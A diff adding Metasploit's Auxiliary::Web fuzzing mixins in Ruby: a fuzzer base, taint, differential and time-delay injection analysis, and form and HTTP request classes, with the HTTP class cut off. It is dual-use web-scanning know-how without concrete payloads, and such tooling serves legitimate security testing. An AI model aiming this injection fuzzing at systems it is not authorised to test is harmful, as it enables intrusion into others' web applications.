|
||||
|
|
|
@ -1,7 +1,4 @@
|
|||
# -*- coding: binary -*-
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
#
|
||||
# Auxiliary mixins
|
||||
|
@ -14,6 +11,7 @@ require 'msf/core/auxiliary/scanner'
|
|||
require 'msf/core/auxiliary/udp_scanner'
|
||||
require 'msf/core/auxiliary/timed'
|
||||
require 'msf/core/auxiliary/wmapmodule'
|
||||
require 'msf/core/auxiliary/web'
|
||||
require 'msf/core/auxiliary/crawler'
|
||||
|
||||
require 'msf/core/auxiliary/commandshell'
|
||||
|
|
|
@ -0,0 +1,284 @@
|
|||
# -*- coding: binary -*-
|
||||
|
||||
module Msf
|
||||
|
||||
###
|
||||
#
|
||||
# This module provides methods for brute forcing authentication
|
||||
#
|
||||
###
|
||||
|
||||
module Auxiliary::Web
|
||||
module Analysis
|
||||
end
|
||||
|
||||
require 'msf/core/auxiliary/web/http'
|
||||
require 'msf/core/auxiliary/web/fuzzable'
|
||||
require 'msf/core/auxiliary/web/form'
|
||||
require 'msf/core/auxiliary/web/path'
|
||||
require 'msf/core/auxiliary/web/target'
|
||||
|
||||
include Auxiliary::Report
|
||||
|
||||
attr_reader :target
|
||||
attr_reader :http
|
||||
attr_reader :parent
|
||||
attr_reader :page
|
||||
|
||||
def initialize( info = {} )
|
||||
super
|
||||
end
|
||||
|
||||
# String id to push to the #checklist
|
||||
def checked( id )
|
||||
parent.checklist << "#{shortname}#{id}".hash
|
||||
end
|
||||
|
||||
# String id to check against the #checklist
|
||||
def checked?( id )
|
||||
parent.checklist.include? "#{shortname}#{id}".hash
|
||||
end
|
||||
|
||||
#
|
||||
# Called directly before 'run'
|
||||
#
|
||||
def setup( opts = {} )
|
||||
@parent = opts[:parent]
|
||||
@target = opts[:target]
|
||||
@page = opts[:page]
|
||||
@http = opts[:http]
|
||||
end
|
||||
|
||||
# Should be overridden to return the exploits to use for this
|
||||
# vulnerability type as an Array of Strings.
|
||||
def self.exploits
|
||||
end
|
||||
|
||||
# Must return a configuration Hash for the given exploit and vulnerability.
|
||||
def self.configure_exploit( exploit, vuln )
|
||||
end
|
||||
|
||||
# Should be overridden to return the payloads used for this
|
||||
# vulnerability type as an Array of Strings.
|
||||
def payloads
|
||||
end
|
||||
|
||||
def token
|
||||
"xssmsfpro"
|
||||
end
|
||||
|
||||
#
|
||||
# Should be overridden to return a pattern to be matched against response
|
||||
# bodies in order to identify a vulnerability.
|
||||
#
|
||||
# You can go one deeper and override #find_proof for more complex processing.
|
||||
#
|
||||
def signature
|
||||
end
|
||||
|
||||
#
|
||||
# Default #run, will audit all elements using taint analysis and log
|
||||
# results based on #find_proof return values.
|
||||
#
|
||||
def run
|
||||
auditable.each { |element| element.taint_analysis }
|
||||
end
|
||||
|
||||
# Returns an Array of elements prepared to be audited.
|
||||
def auditable
|
||||
target.auditable.map do |element|
|
||||
element.fuzzer = self
|
||||
element
|
||||
end
|
||||
end
|
||||
|
||||
# Checks whether a resource exists based on a path String.
|
||||
def resource_exist?( path )
|
||||
res = http.get( path )
|
||||
res.code.to_i == 200 && !http.custom_404?( path, res.body )
|
||||
end
|
||||
alias :file_exist? :resource_exist?
|
||||
|
||||
# Checks whether a directory exists based on a path String.
|
||||
def directory_exist?( path )
|
||||
dir = path.dup
|
||||
dir << '/' if !dir.end_with?( '/' )
|
||||
resource_exist?( dir )
|
||||
end
|
||||
|
||||
# Logs the existence of a resource in the path String.
|
||||
def log_resource_if_exists( path )
|
||||
log_resource( :location => path ) if resource_exist?( path )
|
||||
end
|
||||
alias :log_file_if_exists :log_resource_if_exists
|
||||
|
||||
# Logs the existence of the directory in the path String.
|
||||
def log_directory_if_exists( path )
|
||||
dir = path.dup
|
||||
dir << '/' if !dir.end_with?( '/' )
|
||||
log_resource_if_exists( dir )
|
||||
end
|
||||
|
||||
# Matches fingerprint pattern against the current page's body and logs matches
|
||||
def match_and_log_fingerprint( fingerprint )
|
||||
page.body.to_s.match( fingerprint ) && log_fingerprint( :fingerprint => fingerprint )
|
||||
end
|
||||
|
||||
#
|
||||
# Serves as a default detection method for when performing taint analysis.
|
||||
#
|
||||
# Uses the Regexp in #signature against the response body in order to
|
||||
# identify vulnerabilities and return a String that proves it.
|
||||
#
|
||||
# Override it if you need more complex processing, but remember to return
|
||||
# the proof as a String.
|
||||
#
|
||||
# response - Net::HTTPResponse
|
||||
# element - the submitted element
|
||||
#
|
||||
def find_proof( response, element )
|
||||
return if !signature
|
||||
|
||||
m = response.body.match( signature ).to_s
|
||||
return if !m || m.size < 1
|
||||
|
||||
m.gsub( /[\r\n]/, ' ' )
|
||||
end
|
||||
|
||||
def increment_request_counter
|
||||
parent.increment_request_counter
|
||||
end
|
||||
|
||||
# Should be overridden and return an Integer (0-100) denoting the confidence
|
||||
# in the accuracy of the logged vuln.
|
||||
def calculate_confidence( vuln )
|
||||
100
|
||||
end
|
||||
|
||||
def log_fingerprint( opts = {} )
|
||||
mode = details[:category].to_sym
|
||||
vhash = [target.to_url, opts[:fingerprint], mode, opts[:location]].
|
||||
map { |x| x.to_s }.join( '|' ).hash
|
||||
|
||||
return if parent.vulns.include?( vhash )
|
||||
parent.vulns[vhash] = true
|
||||
|
||||
location = opts[:location] ?
|
||||
page.url.merge( URI( opts[:location].to_s )) : page.url
|
||||
|
||||
info = {
|
||||
:web_site => target.site,
|
||||
:path => location.path,
|
||||
:query => location.query,
|
||||
:method => 'GET',
|
||||
:params => [],
|
||||
:pname => 'path',
|
||||
:proof => opts[:fingerprint],
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description],
|
||||
:confidence => details[:category] || opts[:confidence] || 100,
|
||||
:owner => self
|
||||
}
|
||||
|
||||
report_web_vuln( info )
|
||||
|
||||
print_good " FOUND(#{mode.to_s.upcase}) URL(#{location})"
|
||||
print_good " PROOF(#{opts[:fingerprint]})"
|
||||
end
|
||||
|
||||
def log_resource( opts = {} )
|
||||
mode = details[:category].to_sym
|
||||
vhash = [target.to_url, mode, opts[:location]].
|
||||
map { |x| x.to_s }.join( '|' ).hash
|
||||
|
||||
return if parent.vulns.include?( vhash )
|
||||
parent.vulns[vhash] = true
|
||||
|
||||
location = URI( opts[:location].to_s )
|
||||
info = {
|
||||
:web_site => target.site,
|
||||
:path => location.path,
|
||||
:query => location.query,
|
||||
:method => 'GET',
|
||||
:params => [],
|
||||
:pname => 'path',
|
||||
:proof => opts[:location],
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description],
|
||||
:confidence => details[:category] || opts[:confidence] || 100,
|
||||
:owner => self
|
||||
}
|
||||
|
||||
report_web_vuln( info )
|
||||
|
||||
print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})"
|
||||
print_good " PROOF(#{opts[:location]})"
|
||||
end
|
||||
|
||||
def process_vulnerability( element, proof, opts = {} )
|
||||
mode = details[:category].to_sym
|
||||
vhash = [target.to_url, mode, element.altered].
|
||||
map{ |x| x.to_s }.join( '|' ).hash
|
||||
|
||||
parent.vulns[mode] ||= {}
|
||||
return parent.vulns[mode][vhash] if parent.vulns[mode][vhash]
|
||||
|
||||
parent.vulns[mode][vhash] = {
|
||||
:target => target,
|
||||
:method => element.method.to_s.upcase,
|
||||
:params => element.params.to_a,
|
||||
:mode => mode,
|
||||
:pname => element.altered,
|
||||
:proof => proof,
|
||||
:form => element.model,
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description]
|
||||
}
|
||||
|
||||
confidence = calculate_confidence( parent.vulns[mode][vhash] )
|
||||
|
||||
parent.vulns[mode][vhash].merge!( :confidence => confidence )
|
||||
|
||||
if !(payload = opts[:payload])
|
||||
if payloads
|
||||
payload = payloads.select{ |p| element.altered_value.include?( p ) }.first
|
||||
end
|
||||
end
|
||||
|
||||
uri = URI( element.action )
|
||||
info = {
|
||||
:web_site => element.model.web_site,
|
||||
:path => uri.path,
|
||||
:query => uri.query,
|
||||
:method => element.method.to_s.upcase,
|
||||
:params => element.params.to_a,
|
||||
:pname => element.altered,
|
||||
:proof => proof,
|
||||
:risk => details[:risk],
|
||||
:name => details[:name],
|
||||
:blame => details[:blame],
|
||||
:category => details[:category],
|
||||
:description => details[:description],
|
||||
:confidence => confidence,
|
||||
:payload => payload,
|
||||
:owner => self
|
||||
}
|
||||
|
||||
report_web_vuln( info )
|
||||
|
||||
print_good " VULNERABLE(#{mode.to_s.upcase}) URL(#{target.to_url})" +
|
||||
" PARAMETER(#{element.altered}) VALUES(#{element.params})"
|
||||
print_good " PROOF(#{proof})"
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,136 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
module Msf
|
||||
|
||||
module Auxiliary::Web
|
||||
module Analysis::Differential
|
||||
|
||||
DIFFERENTIAL_OPTIONS = {
|
||||
# amount of refinement iterations
|
||||
:precision => 2
|
||||
}
|
||||
|
||||
#
|
||||
# Performs differential analysis and logs an issue should there be one.
|
||||
#
|
||||
# Fuzzer must provide:
|
||||
# - #boolean_seeds_for - array of boolean injection strings
|
||||
# (these are supposed to not alter the webapp behavior when interpreted)
|
||||
# - #fault_seeds_for - array of fault injection strings
|
||||
# (these are supposed to force erroneous conditions when interpreted)
|
||||
#
|
||||
# Here's how it goes:
|
||||
# * let _default_ be the default/original response
|
||||
# * let _fault_ be the response of the fault injection
|
||||
# * let _bool_ be the response of the boolean injection
|
||||
#
|
||||
# A vulnerability is logged if:
|
||||
# default == bool AND bool.code == 200 AND fault != bool
|
||||
#
|
||||
# The "bool" response is also checked in order to determine if it's a custom 404,
|
||||
# if it is it'll be skipped.
|
||||
#
|
||||
# @param [Hash] opts Options Hash (default: {})
|
||||
# :precision - amount of refinement iterations (default: 2)
|
||||
#
|
||||
def differential_analysis( opts = {}, &block )
|
||||
opts = DIFFERENTIAL_OPTIONS.merge( opts )
|
||||
|
||||
return if fuzzed? :type => :differential
|
||||
fuzzed :type => :differential
|
||||
|
||||
# don't continue if there's a missing value
|
||||
params.values.each { |val| return if !val || val.empty? }
|
||||
|
||||
responses = {
|
||||
# will hold the original, default, response that results from submitting
|
||||
:orig => nil,
|
||||
|
||||
# will hold responses of boolean injections
|
||||
:good => {},
|
||||
|
||||
# will hold responses of fault injections
|
||||
:bad => {}
|
||||
}
|
||||
|
||||
# submit the element, as is, opts[:precision] amount of times and
|
||||
# rdiff the responses in order to arrive to a refined response without
|
||||
# any superfluous dynamic content
|
||||
opts[:precision].times do
|
||||
# get the default responses
|
||||
submit_async do |res|
|
||||
responses[:orig] ||= res.body.to_s
|
||||
# remove context-irrelevant dynamic content like banners and such
|
||||
responses[:orig] = Rex::Text.refine( responses[:orig], res.body.to_s )
|
||||
end
|
||||
end
|
||||
|
||||
# perform fault injection opts[:precision] amount of times and
|
||||
# rdiff the responses in order to arrive to a refined response without
|
||||
# any superfluous dynamic content
|
||||
opts[:precision].times do
|
||||
params.map do |name, value|
|
||||
fuzzer.fault_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
|
||||
end.flatten.uniq.each do |elem|
|
||||
|
||||
# submit the mutation and store the response
|
||||
elem.submit_async do |res|
|
||||
responses[:bad][elem.altered] ||= res.body.to_s.dup
|
||||
|
||||
# remove context-irrelevant dynamic content like banners and such
|
||||
# from the error page
|
||||
responses[:bad][elem.altered] =
|
||||
Rex::Text.refine( responses[:bad][elem.altered], res.body.to_s.dup )
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# get injection variations that will not affect the outcome of the query
|
||||
params.map do |name, value|
|
||||
fuzzer.boolean_seeds_for( value ).map { |seed| permutation_for( name, seed ) }
|
||||
end.flatten.uniq.each do |elem|
|
||||
|
||||
# submit the mutation and store the response
|
||||
elem.submit_async do |res|
|
||||
responses[:good][elem.altered] ||= []
|
||||
# save the response and some data for analysis
|
||||
responses[:good][elem.altered] << {
|
||||
'res' => res,
|
||||
'elem' => elem
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
http.after_run do
|
||||
responses[:good].keys.each do |key|
|
||||
responses[:good][key].each do |res|
|
||||
|
||||
# if default_response_body == bool_response_body AND
|
||||
# fault_response_body != bool_response_body AND
|
||||
# bool_response_code == 200
|
||||
if responses[:orig] == res['res'].body &&
|
||||
responses[:bad][key] != res['res'].body &&
|
||||
res['res'].code.to_i == 200
|
||||
|
||||
# check to see if the current boolean response we're analyzing
|
||||
# is a custom 404 page
|
||||
http.if_not_custom_404( action, res['res'].body ) do
|
||||
# if this isn't a custom 404 page then it means that
|
||||
# the element is vulnerable, so go ahead and log the issue
|
||||
fuzzer.process_vulnerability( res['elem'], 'Manipulatable responses.',
|
||||
:payload => res['elem'].altered_value )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,34 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
module Msf
|
||||
|
||||
module Auxiliary::Web
|
||||
module Analysis::Taint
|
||||
|
||||
#
|
||||
# Injects taints into the element parameters.
|
||||
#
|
||||
# Fuzzer must provide:
|
||||
# - #seeds_for
|
||||
# - #find_proof
|
||||
#
|
||||
# opts - Options Hash (default: {})
|
||||
#
|
||||
def taint_analysis( opts = {} )
|
||||
return if fuzzed? :type => :taint
|
||||
fuzzed :type => :taint
|
||||
|
||||
fuzz_async do |response, permutation|
|
||||
next if !response || !(proof = fuzzer.find_proof( response, permutation ))
|
||||
fuzzer.process_vulnerability( permutation, proof )
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,103 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
module Msf
|
||||
|
||||
module Auxiliary::Web
|
||||
module Analysis::Timing
|
||||
|
||||
TIMING_OPTIONS = {
|
||||
# stub to be replaced by delay * multi
|
||||
:stub => '__TIME__',
|
||||
|
||||
# stub = delay * multi
|
||||
:multi => 1,
|
||||
|
||||
# delay in seconds to attempt to introduce
|
||||
:delay => 5
|
||||
}
|
||||
|
||||
#
|
||||
# Performs timeout/time-delay analysis and logs an issue should there be one.
|
||||
#
|
||||
# Fuzzer must provide:
|
||||
# - #seeds_for -- Array of Strings with server-side code which, when interpreted,
|
||||
# will cause a delay in response. Must include 'stub'.
|
||||
#
|
||||
# Here's how it goes:
|
||||
# * Ensures that the server is responsive.
|
||||
# * Injects the seed and makes sure that the expected delay has been successfully introduced.
|
||||
# * Ensures that the server is responsive -- blocks until the attack has worn off.
|
||||
# * Increases the original delay and makes sure that the expected delay has been successfully introduced.
|
||||
# * Ensures that the server is responsive-- blocks until the attack has worn off.
|
||||
# * Logs the vulnerability.
|
||||
#
|
||||
# opts - Options Hash (default: {})
|
||||
# :timeout - Integer amount of seconds to wait for the request to complete (default: 5)
|
||||
# :stub - String stub to be replaced by delay * multi (default: __TIME__)
|
||||
# :multi - Integer multiplier (stub = timeout * multi) (default: 1)
|
||||
#
|
||||
def timeout_analysis( opts = {} )
|
||||
opts = TIMING_OPTIONS.merge( opts )
|
||||
|
||||
multi = opts[:multi]
|
||||
stub = opts[:stub]
|
||||
|
||||
return if fuzzed? :type => :timing
|
||||
fuzzed :type => :timing
|
||||
|
||||
permutations.each do |p|
|
||||
timeout = opts[:delay]
|
||||
|
||||
seed = p.altered_value.dup
|
||||
payload = fuzzer.payloads.select{ |pl| seed.include?( pl ) }.first
|
||||
|
||||
# 1st pass, make sure the webapp is responsive
|
||||
if_responsive do
|
||||
# 2nd pass, see if we can manipulate the response times
|
||||
timeout += 1
|
||||
p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
|
||||
|
||||
p.if_unresponsive( timeout - 1 ) do
|
||||
# 3rd pass, make sure that the previous step wasn't a fluke (like a dead web server)
|
||||
if_responsive do
|
||||
# 4th pass, increase the delay and timeout to make sure that we are the ones
|
||||
# manipulating the webapp and this isn't all a coincidence
|
||||
timeout *= 2
|
||||
timeout += 1
|
||||
p.altered_value = seed.gsub( stub, (timeout * multi).to_s )
|
||||
|
||||
p.if_unresponsive( timeout - 1 ) do
|
||||
# log it!
|
||||
fuzzer.process_vulnerability( p, 'Manipulatable response times.',
|
||||
:payload => payload.gsub( stub, (timeout * multi).to_s ) )
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def responsive?( timeout = 120 )
|
||||
!submit( :timeout => timeout ).timed_out?
|
||||
end
|
||||
|
||||
def responsive_async?( timeout = 120, &callback )
|
||||
submit_async( :timeout => timeout ) { |r| callback.call !r.timed_out? }
|
||||
end
|
||||
|
||||
def if_responsive( timeout = 120, &callback )
|
||||
responsive_async?( timeout ) { |b| callback.call if b }
|
||||
end
|
||||
|
||||
def if_unresponsive( timeout = 120, &callback )
|
||||
responsive_async?( timeout ) { |b| callback.call if !b }
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,245 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'net/https'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
|
||||
#
|
||||
# Represents a webpage form.
|
||||
#
|
||||
module Auxiliary::Web
|
||||
|
||||
class Form < Fuzzable
|
||||
|
||||
# Method type Symbol: :get, :post
|
||||
attr_accessor :method
|
||||
|
||||
# URL String to which to submit the params
|
||||
attr_accessor :action
|
||||
|
||||
# Inputs Array in the form of:
|
||||
#
|
||||
# [{ :name => 'name', :value => 'John', :type => 'text' }]
|
||||
#
|
||||
attr_accessor :inputs
|
||||
|
||||
# Name of the altered input as a String
|
||||
attr_accessor :altered
|
||||
|
||||
# Mdm::WebForm model if available
|
||||
attr_accessor :model
|
||||
|
||||
#
|
||||
# opts - Options Hash (default: {})
|
||||
# :action - Action URL of the form
|
||||
# :method - Form method (:get, :post)
|
||||
# :inputs - Form inputs [{ :name => 'name', :value => 'John', :type => 'text' }]
|
||||
#
|
||||
def initialize( opts = {} )
|
||||
self.action = opts[:action]
|
||||
self.action.chop! if self.action.end_with?( '?' )
|
||||
|
||||
self.method = opts[:method] || :get
|
||||
self.inputs = (opts[:inputs] || []).dup
|
||||
end
|
||||
|
||||
#
|
||||
# Set the name of the altered field (will be used as the vuln param when logging)
|
||||
#
|
||||
# input_name - String
|
||||
#
|
||||
def altered=( input_name )
|
||||
@altered = input_name.to_s.dup
|
||||
end
|
||||
|
||||
#
|
||||
# Set the form method.
|
||||
#
|
||||
# input_name - String, Symbol
|
||||
#
|
||||
def method=( m )
|
||||
@method = m.to_s.downcase.to_sym
|
||||
end
|
||||
|
||||
#
|
||||
# i - Array of form inputs
|
||||
#
|
||||
# Examples
|
||||
#
|
||||
# [{ :name => 'name', :value => 'John', :type => 'text' }]
|
||||
#
|
||||
def inputs=( i )
|
||||
# nil it out so that it'll be updated next time it's requested
|
||||
@params = nil
|
||||
@inputs = i
|
||||
end
|
||||
|
||||
#
|
||||
# Hash of params to be submited (derived by #inputs)
|
||||
#
|
||||
# Examples
|
||||
#
|
||||
# { 'name' => 'John' }
|
||||
#
|
||||
def params
|
||||
@params ||= inputs.reject{ |i| i[:name].to_s.empty? }.
|
||||
inject( {} ) { |h, i| h[i[:name]] = i[:value]; h }
|
||||
end
|
||||
|
||||
#
|
||||
# Value of the {#altered} input (i.e. the injected value).
|
||||
#
|
||||
def altered_value
|
||||
params[altered]
|
||||
end
|
||||
|
||||
def altered_value=( value )
|
||||
params[altered] = value.to_s.dup
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a Hash of params to a query String
|
||||
#
|
||||
# i - Hash of params (default: #params)
|
||||
#
|
||||
def to_query( i = self.params )
|
||||
i.map do |k, v|
|
||||
Rex::Text.uri_encode( k.to_s ) + '=' + Rex::Text.uri_encode( v.to_s )
|
||||
end.join( '&' )
|
||||
end
|
||||
|
||||
#
|
||||
# Converts a query String to a Hash of params
|
||||
#
|
||||
# query - String
|
||||
#
|
||||
def self.query_to_params( query )
|
||||
query = query.to_s
|
||||
return {} if query.empty?
|
||||
|
||||
query.split( '&' ).inject( {} ) do |h, pair|
|
||||
k, v = pair.to_s.split( '=', 2 )
|
||||
h[Rex::Text.uri_decode( k.to_s )] = Rex::Text.uri_decode( v.to_s )
|
||||
h
|
||||
end
|
||||
end
|
||||
|
||||
def query_to_params( query )
|
||||
self.class.query_to_params( query)
|
||||
end
|
||||
|
||||
def request( opts = {} )
|
||||
p = case method
|
||||
when :get
|
||||
query_to_params( URI( action ).query ).merge( params )
|
||||
|
||||
when :post
|
||||
params
|
||||
end
|
||||
|
||||
[ action, opts.merge( :method => method, :params => p ) ]
|
||||
end
|
||||
|
||||
# Bool - true if params are empty, false otherwise.
|
||||
def empty?
|
||||
params.empty?
|
||||
end
|
||||
|
||||
#
|
||||
# Param reader shortcut -- returns the value of a param by name, as a String.
|
||||
#
|
||||
# field - Param name as a String
|
||||
#
|
||||
def []( field )
|
||||
params[field.to_s]
|
||||
end
|
||||
|
||||
#
|
||||
# Param writer shortcut -- sets the value of a param by name, as a String.
|
||||
#
|
||||
# field - Param name as a String
|
||||
# value - Param value as a String
|
||||
#
|
||||
def []=( field, value )
|
||||
update( field, value )
|
||||
[field]
|
||||
end
|
||||
|
||||
#
|
||||
# Update the form inputs.
|
||||
#
|
||||
# field - Field name as a Sting (updated if already exists, created otherwise).
|
||||
# value - Field Value as a String.
|
||||
# type - Field type ('text' if no type has been provided).
|
||||
#
|
||||
def update( field, value, type = nil )
|
||||
@params = nil
|
||||
inputs.each do |i|
|
||||
if i[:name] == field.to_s
|
||||
i[:value] = value.to_s
|
||||
i[:type] = type.to_s if type
|
||||
return self
|
||||
end
|
||||
end
|
||||
|
||||
@inputs << { :name => field.to_s, :value => value.to_s, :type => type || 'text' }
|
||||
self
|
||||
end
|
||||
|
||||
#
|
||||
# Get a field type, by name, as a String.
|
||||
#
|
||||
# field - Field name as a Sting
|
||||
#
|
||||
def field_type_for( name )
|
||||
inputs.select{ |i| i[:name] == name.to_s }[:type]
|
||||
end
|
||||
|
||||
#
|
||||
# Get an Array with permutations of the form for the given seed.
|
||||
#
|
||||
# seed - String to inject
|
||||
#
|
||||
def permutations
|
||||
return [] if empty?
|
||||
|
||||
params.map do |name, value|
|
||||
fuzzer.seeds_for( value || '' ).map { |seed| permutation_for( name, seed ) }
|
||||
end.flatten.uniq
|
||||
end
|
||||
|
||||
def permutation_for( field_name, field_value )
|
||||
form = self.dup
|
||||
form.altered = field_name.dup
|
||||
form[field_name] = field_value.dup
|
||||
form
|
||||
end
|
||||
|
||||
def to_hash
|
||||
{ :action => action.dup, :method => method,
|
||||
:inputs => inputs.dup, :altered => altered ? altered.dup : nil }
|
||||
end
|
||||
|
||||
def self.from_model( form )
|
||||
inputs = form.params.map do |name, value, extra|
|
||||
extra = extra.first if extra.is_a? Array
|
||||
extra ||= {}
|
||||
{ :name => name, :value => value, :type => extra[:type] }
|
||||
end
|
||||
|
||||
e = new( :action => "#{form.path}?#{form.query}", :method => form.method,
|
||||
:inputs => inputs )
|
||||
e.model = form
|
||||
e
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,109 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'net/https'
|
||||
require 'net/http'
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
|
||||
module Auxiliary::Web
|
||||
|
||||
class Fuzzable
|
||||
|
||||
# load and include all available analysis/audit techniques
|
||||
lib = File.dirname( __FILE__ ) + '/analysis/*.rb'
|
||||
Dir.glob( lib ).each { |f| require f }
|
||||
Analysis.constants.each { |technique| include Analysis.const_get( technique ) }
|
||||
|
||||
attr_accessor :fuzzer
|
||||
|
||||
def fuzzed?( opts = {} )
|
||||
fuzzer.checked? fuzz_id( opts )
|
||||
end
|
||||
|
||||
def fuzzed( opts = {} )
|
||||
fuzzer.checked fuzz_id( opts )
|
||||
end
|
||||
|
||||
def fuzz_id( opts = {} )
|
||||
"#{opts[:type]}:#{fuzzer.shortname}:#{method}:#{action}:#{params.keys.sort.to_s}:#{altered}=#{altered_value}"
|
||||
end
|
||||
|
||||
def fuzz( cfuzzer = nil, &callback )
|
||||
fuzz_wrapper( cfuzzer ) { |p| callback.call( p.submit, p ) }
|
||||
end
|
||||
|
||||
def fuzz_async( cfuzzer = nil, &callback )
|
||||
fuzz_wrapper( cfuzzer ) { |p| p.submit_async { |res| callback.call( res, p ) } }
|
||||
end
|
||||
|
||||
def submit( opts = {} )
|
||||
fuzzer.increment_request_counter
|
||||
|
||||
resp = http.request_async( *request( opts ) )
|
||||
handle_response( resp )
|
||||
resp
|
||||
end
|
||||
|
||||
def submit_async( opts = {}, &callback )
|
||||
fuzzer.increment_request_counter
|
||||
|
||||
http.request_async( *request( opts ) ) do |resp|
|
||||
handle_response( resp )
|
||||
callback.call resp if callback
|
||||
end
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
def http
|
||||
fuzzer.http
|
||||
end
|
||||
|
||||
def hash
|
||||
to_hash.hash
|
||||
end
|
||||
|
||||
def ==( other )
|
||||
hash == other.hash
|
||||
end
|
||||
|
||||
def dup
|
||||
cf = self.fuzzer
|
||||
self.fuzzer = nil
|
||||
ce = Marshal.load( Marshal.dump( self ) )
|
||||
self.fuzzer = ce.fuzzer = cf
|
||||
ce
|
||||
end
|
||||
|
||||
private
|
||||
def fuzz_wrapper( cfuzzer = nil, &block )
|
||||
self.fuzzer ||= cfuzzer
|
||||
permutations.each do |p|
|
||||
block.call p
|
||||
end
|
||||
end
|
||||
|
||||
def handle_response( resp )
|
||||
str = " #{fuzzer.shortname}: #{resp.code} - #{method.to_s.upcase}" +
|
||||
" #{action} #{params}"
|
||||
|
||||
case resp.code.to_i
|
||||
when 200,404,301,302,303
|
||||
#fuzzer.print_status str
|
||||
when 500,503,401,403
|
||||
fuzzer.print_good str
|
||||
else
|
||||
fuzzer.print_error str
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,299 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'uri'
|
||||
|
||||
module Msf
|
||||
class Auxiliary::Web::HTTP
|
||||
|
||||
class Request
|
||||
attr_accessor :url
|
||||
attr_reader :opts
|
||||
attr_reader :callbacks
|
||||
|
||||
def initialize( url, opts = {}, &callback )
|
||||
@url = url.to_s.dup
|
||||
@opts = opts.dup
|
||||
|
||||
@opts[:method] ||= :get
|
||||
|
||||
@callbacks = [callback].compact
|
||||
end
|
||||
|
||||
def method
|
||||
opts[:method]
|
||||
end
|
||||
|
||||
def handle_response( response )
|
||||
callbacks.each { |c| c.call response }
|
||||
end
|
||||
end
|
||||
|
||||
class Response < Rex::Proto::Http::Response
|
||||
|
||||
def self.from_rex_response( response )
|
||||
return empty if !response
|
||||
|
||||
r = new( response.code, response.message, response.proto )
|
||||
response.instance_variables.each do |iv|
|
||||
r.instance_variable_set( iv, response.instance_variable_get( iv ) )
|
||||
end
|
||||
r
|
||||
end
|
||||
|
||||
def self.empty
|
||||
new( 0, '' )
|
||||
end
|
||||
|
||||
def self.timed_out
|
||||
r = empty
|
||||
r.timed_out
|
||||
r
|
||||
end
|
||||
|
||||
def timed_out?
|
||||
!!@timed_out
|
||||
end
|
||||
|
||||
def timed_out
|
||||
@timed_out = true
|
||||
end
|
||||
end
|
||||
|
||||
attr_reader :opts
|
||||
attr_reader :headers
|
||||
attr_reader :framework
|
||||
|
||||
attr_accessor :redirect_limit
|
||||
|
||||
def initialize( opts = {} )
|
||||
@opts = opts.dup
|
||||
|
||||
@framework = opts[:framework]
|
||||
|
||||
@headers = {
|
||||
'Accept' => '*/*',
|
||||
'Cookie' => opts[:cookie_string]
|
||||
}.merge( opts[:headers] || {} )
|
||||
|
||||
@headers.delete( 'Cookie' ) if !@headers['Cookie']
|
||||
|
||||
@request_opts = {}
|
||||
if opts[:auth].is_a? Hash
|
||||
@request_opts['basic_auth'] = [ opts[:auth][:user].to_s + ':' +
|
||||
opts[:auth][:password] ]. pack( 'm*' ).gsub( /\s+/, '' )
|
||||
end
|
||||
|
||||
self.redirect_limit = opts[:redirect_limit] || 20
|
||||
|
||||
@queue = Queue.new
|
||||
|
||||
@after_run_blocks = []
|
||||
end
|
||||
|
||||
def after_run( &block )
|
||||
@after_run_blocks << block
|
||||
end
|
||||
|
||||
